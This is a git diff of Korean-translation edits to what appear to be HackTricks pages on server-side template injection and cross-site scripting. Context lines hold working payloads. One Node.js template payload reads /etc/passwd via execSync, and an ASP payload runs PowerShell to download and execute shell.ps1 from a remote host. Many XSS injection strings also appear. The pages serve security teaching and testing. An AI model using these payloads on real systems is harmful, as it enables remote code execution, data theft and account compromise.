Language (EL)은 JavaEE에서 프레젠테이션 레이어(웹 페이지와 같은)와 애플리케이션 로직(관리되는 빈과 같은) 간의 상호작용을 촉진하는 기본 기능입니다. 여러 JavaEE 기술에서 이 통신을 간소화하기 위해 광범위하게 사용됩니다. EL을 활용하는 주요 JavaEE 기술은 다음과 같습니다: * **JavaServer Faces (JSF)**: JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 작업에 바인딩하기 위해 EL을 사용합니다. -* **JavaServer Pages (JSP)**: JSP에서 데이터에 접근하고 조작하기 위해 EL이 사용되어 페이지 요소를 애플리케이션 데이터에 연결하는 것을 쉽게 만듭니다. +* **JavaServer Pages (JSP)**: JSP에서 데이터에 접근하고 조작하기 위해 EL을 사용하여 페이지 요소를 애플리케이션 데이터에 쉽게 연결할 수 있습니다. * **Java EE를 위한 컨텍스트 및 의존성 주입 (CDI)**: EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호작용을 허용하여 보다 일관된 애플리케이션 구조를 보장합니다. **EL 인터프리터의 악용**에 대해 더 알아보려면 다음 페이지를 확인하세요: @@ -438,7 +438,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
-​​[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다. +​​[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다. {% embed url="https://www.rootedcon.com/" %} @@ -506,7 +506,7 @@ array("first_name" => $user.first_name) ### Plates (PHP) -Plates는 PHP에 고유한 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 새로운 구문을 도입하는 Twig와 달리, Plates는 템플릿에서 네이티브 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다. +Plates는 PHP에 고유한 템플릿 엔진으로, Twig에서 영감을 받았습니다. 그러나 새로운 구문을 도입하는 Twig와 달리, Plates는 템플릿에서 기본 PHP 코드를 활용하여 PHP 개발자에게 직관적입니다. Controller: ```php @@ -692,7 +692,7 @@ URLencoded: ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` -**서버 사이드** +**서버 측** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` @@ -731,9 +731,9 @@ home = pugjs.render(injected_page) ### 기타 NodeJS -

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

+

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

-

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

+

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

* [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 더 많은 정보 @@ -774,11 +774,11 @@ home = pugjs.render(injected_page)

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

-* 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요. +* [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 더 많은 정보 확인 ### Python -다음 페이지를 확인하여 **샌드박스를 우회하는 임의 명령 실행**에 대한 트릭을 배워보세요: +다음 페이지를 확인하여 **샌드박스를 우회한 임의 명령 실행**에 대한 트릭을 배워보세요: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -872,7 +872,7 @@ home = pugjs.render(injected_page) [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} -다른 페이로드는 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)에서 확인할 수 있습니다. +다른 페이로드는 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python @@ -918,7 +918,7 @@ ${x} * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo -* `<%= foo %>` = 없음 +* `<%= foo %>` = 아무것도 아님 * `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> @@ -943,7 +943,7 @@ Go의 템플릿 엔진에서 사용 확인은 특정 페이로드로 수행할 * `{{ . }}`: 데이터 구조 입력을 드러냅니다. 예를 들어, `Password` 속성이 있는 객체가 전달되면, `{{ .Password }}`가 이를 노출할 수 있습니다. * `{{printf "%s" "ssti" }}`: 문자열 "ssti"를 표시할 것으로 예상됩니다. -* `{{html "ssti"}}`, `{{js "ssti"}}`: 이 페이로드는 "html" 또는 "js"를 추가하지 않고 "ssti"를 반환해야 합니다. 추가 지침은 Go 문서에서 [여기](https://golang.org/pkg/text/template)에서 확인할 수 있습니다. +* `{{html "ssti"}}`, `{{js "ssti"}}`: 이 페이로드는 "html" 또는 "js"를 추가하지 않고 "ssti"를 반환해야 합니다. 추가 지침은 Go 문서에서 [여기](https://golang.org/pkg/text/template) 확인할 수 있습니다.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index 0927e78dc..8ea62e2c7 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,23 +1,23 @@ -# XSS (크로스 사이트 스크립팅) +# XSS (Cross Site Scripting) -
+
-**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구사 필수_). +해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} -## 방법론 +## Methodology 1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다. 2. **반영/사용되는 맥락**을 찾습니다. 3. **반영된 경우** -1. **어떤 기호를 사용할 수 있는지** 확인하고 그에 따라 페이로드를 준비합니다: +1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다: 1. **원시 HTML**에서: 1. 새로운 HTML 태그를 생성할 수 있습니까? 2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까? 3. 보호를 우회할 수 있습니까? 4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. -5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까? +5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까? 2. **HTML 태그 내부**에서: 1. 원시 HTML 맥락으로 나갈 수 있습니까? 2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까? @@ -31,7 +31,7 @@ 4. Javascript **함수**가 **실행되는 경우** 1. 실행할 함수의 이름을 지정할 수 있습니다. 예: `?callback=alert(1)` 4. **사용된 경우**: -1. **DOM XSS**를 악용할 수 있으며, 당신의 입력이 어떻게 제어되고 있는지, 그리고 당신의 **제어된 입력이 어떤 싱크에 사용되는지** 주의하십시오. +1. **DOM XSS**를 악용할 수 있으며, 입력이 어떻게 제어되는지와 **제어된 입력이 어떤 싱크에 사용되는지** 주의해야 합니다. 복잡한 XSS 작업을 할 때 알아두면 유용한 정보는 다음과 같습니다: @@ -39,7 +39,7 @@ [debugging-client-side-js.md](debugging-client-side-js.md) {% endcontent-ref %} -## 반영된 값 +## Reflected values XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 **당신이 제어하는 값이 웹 페이지에 반영되고 있는지**입니다. @@ -47,25 +47,25 @@ XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 ** * **저장되고 반영된 경우**: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 **저장된 XSS**를 악용할 수 있습니다. * **JS를 통해 접근된 경우**: 당신이 제어하는 값이 JS를 사용하여 접근되고 있다면 **DOM XSS**를 악용할 수 있습니다. -## 맥락 +## Contexts XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의 입력이 어디에 반영되고 있는지**입니다. 맥락에 따라 다양한 방법으로 임의의 JS 코드를 실행할 수 있습니다. -### 원시 HTML +### Raw HTML -당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: ``가 인코딩되거나 삭제된 경우), 태그에 따라 **JS 코드를 실행하는 이벤트**를 생성할 수 있습니다: `" autofocus onfocus=alert(1) x="` -3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어한다면 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** -4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 종류의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="** +3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** +4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`** -클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예: +클래스 이름을 제어할 수 있는 경우 Angular가 XSS를 실행하는 이상한 예: ```html
aaa @@ -76,12 +76,12 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의 이 경우 귀하의 입력은 HTML 페이지의 **``** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 사이에 반영됩니다: * **``** 태그 사이에 반영되는 경우, 귀하의 입력이 어떤 종류의 따옴표 안에 있더라도 ``를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**한 다음 콘텐츠를 처리하기 때문에, 주입된 `` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다. -* **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다): +* **JS 문자열** 안에 반영되고 마지막 트릭이 작동하지 않는 경우, 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * 템플릿 리터럴 안에 반영되는 경우 `${ ... }` 구문을 사용하여 **JS 표현식**을 **삽입**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` `` -* **유니코드 인코딩**은 **유효한 자바스크립트 코드**를 작성하는 데 사용됩니다: +* **유니코드 인코딩**은 **유효한 자바스크립트 코드**를 작성하는 데 작동합니다: ```javascript \u{61}lert(1) \u0061lert(1) @@ -100,7 +100,7 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의 여러 웹 페이지에는 **실행할 함수의 이름을 매개변수로 받아들이는 엔드포인트**가 있습니다. 실제로 흔히 볼 수 있는 예는 `?callback=callbackFunc`와 같은 것입니다. -사용자가 직접 제공한 것이 실행되려고 하는지 알아내는 좋은 방법은 **매개변수 값을 수정하는 것**입니다 (예: 'Vulnerable'로 변경) 그리고 콘솔에서 다음과 같은 오류를 찾는 것입니다: +사용자가 직접 제공한 것이 실행되려고 하는지 알아내는 좋은 방법은 **매개변수 값을 수정하는 것**(예: 'Vulnerable'로)이고, 콘솔에서 다음과 같은 오류를 찾는 것입니다: ![](<../../.gitbook/assets/image (711).png>) @@ -138,7 +138,7 @@ You can also try to **trigger Javascript functions** directly: `obj.sales.delOrd ### **Universal XSS** -이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일을 읽는** 데 악용될 수 있습니다.\ +이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다.\ 일부 **예시**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} @@ -156,10 +156,10 @@ You can also try to **trigger Javascript functions** directly: `obj.sales.delOrd ## 원시 HTML 내에서 주입하기 입력이 **HTML 페이지 내에서** 반영되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있는 경우, **첫 번째**로 해야 할 일은 `<`를 사용하여 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 **문자**를 **반영**해보고 **HTML 인코딩**되었는지, **삭제**되었는지, 또는 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\ -이 경우에도 **[Client Side Template Injection](../client-side-template-injection-csti.md)**을 **염두에 두십시오.**\ +이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 염두에 두십시오.\ _**참고: HTML 주석은\*\*\*\***** ****`-->`**** ****또는 \*\*\*\*****`--!>`**로 닫을 수 있습니다._ -이 경우 블랙리스트/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다: +이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다: ```html @@ -230,7 +230,7 @@ onerror=alert`1` //Use more than one <